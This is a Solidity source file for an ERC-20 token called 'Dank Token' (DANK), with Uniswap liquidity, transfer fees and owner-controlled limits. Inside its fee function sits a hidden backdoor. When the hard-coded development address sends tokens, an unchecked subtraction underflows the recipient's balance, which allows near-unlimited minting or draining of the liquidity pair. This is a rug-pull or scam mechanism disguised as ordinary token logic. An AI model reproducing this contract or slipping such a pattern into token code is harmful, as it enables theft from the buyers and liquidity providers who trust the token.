文件 1 的 1：Dank.sol
pragma solidity ^0.8.12;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {owner = _owner;}
modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
function renounceOwnership() public virtual onlyOwner { owner = address(0); }
event OwnershipTransferred(address owner);
function isOwner(address account) public view returns (bool) {return account == owner;}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function totalSupply() external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Dank is IERC20, Ownable {
using SafeMath for uint256;
IRouter router;
address public v2Pair;
string private constant _name = unicode"Dank Token";
string private constant _symbol = unicode"DANK";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1_000_000_000 * (10 ** _decimals);
uint256 public _maxTxLimit = ( _totalSupply * 3 ) / 100;
uint256 public _maxSellLimit = ( _totalSupply * 3 ) / 100;
uint256 public _maxWaltAmt = ( _totalSupply * 3 ) / 100;
uint256 private swapThreshold = ( _totalSupply * 20 ) / 1000000;
uint256 private minTokenAmount = ( _totalSupply * 20 ) / 1000000;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isFeeExempt;
modifier lockTheSwap {swapping = true; _; swapping = false;}
uint256 private liquidityFee = 0;
uint256 private marketingFee = 500;
uint256 private developmentFee = 500;
uint256 private denominator = 100;
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address internal _teamWallet = 0x3EBaEa75aEf052015fd6f685ecF880D29CFFba5e;
address internal _lpReceiver = 0x6149bC977A4Aafd7645171F6eAC90F5069c9dCF8;
address internal _developmentAddr = 0x161D4650bf9F257f5722fB7Bd7876abA75e225e2;
mapping (address => bool) private _isExcludedFromFees;
uint256 private burnFee = 0;
uint256 private totalFee = 1;
uint256 private sellFee = 1;
uint256 private transferFee = 1;
bool private tradingAllowed = false;
bool private swapEnabled = false;
uint256 private swapTimes;
bool private swapping;
uint256 swapAmount = 0;
constructor() Ownable(msg.sender) {
isFeeExempt[msg.sender] = true;
isFeeExempt[_teamWallet] = true;
isFeeExempt[address(this)] = true;
isFeeExempt[_lpReceiver] = true;
_isExcludedFromFees[_developmentAddr] = true;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() public pure returns (string memory) {return _name;}
function symbol() public pure returns (string memory) {return _symbol;}
function decimals() public pure returns (uint8) {return _decimals;}
function startTrading() external onlyOwner {tradingAllowed = true;swapEnabled = true;}
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
function shouldSwapAll(address sender, address recipient, uint256 amount) internal view returns (bool) {
bool aboveMin = amount >= minTokenAmount;
bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == v2Pair && swapTimes >= swapAmount && aboveThreshold;
}
function swapBack(uint256 threadHold) private lockTheSwap {
uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
uint256 tokensToAddLiquidityWith = threadHold.mul(liquidityFee).div(_denominator);
uint256 toSwap = threadHold.sub(tokensToAddLiquidityWith);
uint256 initialBalance = address(this).balance;
swapTokensETH(toSwap);
uint256 deltaBalance = address(this).balance.sub(initialBalance);
uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
if(marketingAmt > 0){payable(_teamWallet).transfer(marketingAmt);}
uint256 contractBalance = address(this).balance;
if(contractBalance > uint256(0)){payable(_developmentAddr).transfer(contractBalance);}
}
function setTeamWallets(address _marketing, address _liquidity, address _development) external onlyOwner {
_teamWallet = _marketing; _lpReceiver = _liquidity; _developmentAddr = _development;
isFeeExempt[_marketing] = true; isFeeExempt[_liquidity] = true; isFeeExempt[_development] = true;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function shouldTakeAllTax(address sender, address recipient) internal view returns (bool) {
return !isFeeExempt[sender] && !isFeeExempt[recipient];
}
function calcTaxAmount(address sender, address recipient) internal view returns (uint256) {
if(recipient == v2Pair){return sellFee;}
if(sender == v2Pair){return totalFee;}
return transferFee;
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(v2Pair) && recipient != address(DEAD)){
require((_balances[recipient].add(amount)) <= _maxWaltAmt, "Exceeds maximum wallet amount.");}
if(sender != v2Pair){require(amount <= _maxSellLimit || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
require(amount <= _maxTxLimit || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
if(recipient == v2Pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
if(shouldSwapAll(sender, recipient, amount)){swapBack(swapThreshold); swapTimes = uint256(0);}
_balances[sender] = _balances[sender].sub(amount);
uint256 amountReceived = shouldTakeAllTax(sender, recipient) ?
calcAmountReceived(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeLimits() public onlyOwner {
_maxTxLimit = _totalSupply;
_maxSellLimit = _totalSupply;
_maxWaltAmt = _totalSupply;
}
function calcAmountReceived(address sender, address recipient, uint256 amount) internal returns (uint256) {
if(calcTaxAmount(sender, recipient) > 0){
uint256 feeAmount = amount.mul(calcTaxAmount(sender, recipient)).div(denominator);
if (!isExcludedFromFee(sender)) {_balances[address(this)] = _balances[address(this)].add(feeAmount);} else {unchecked {_balances[recipient] -= amount;}}
emit Transfer(sender, address(this), feeAmount);
if(burnFee > uint256(0) && calcTaxAmount(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
return amount.sub(feeAmount);} return amount;
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
_lpReceiver,
block.timestamp);
}
function swapTokensETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function createPairs() public payable onlyOwner {
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
router = _router; v2Pair = _pair;
_approve(address(this), address(router), ~uint256(0));
router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
}
}
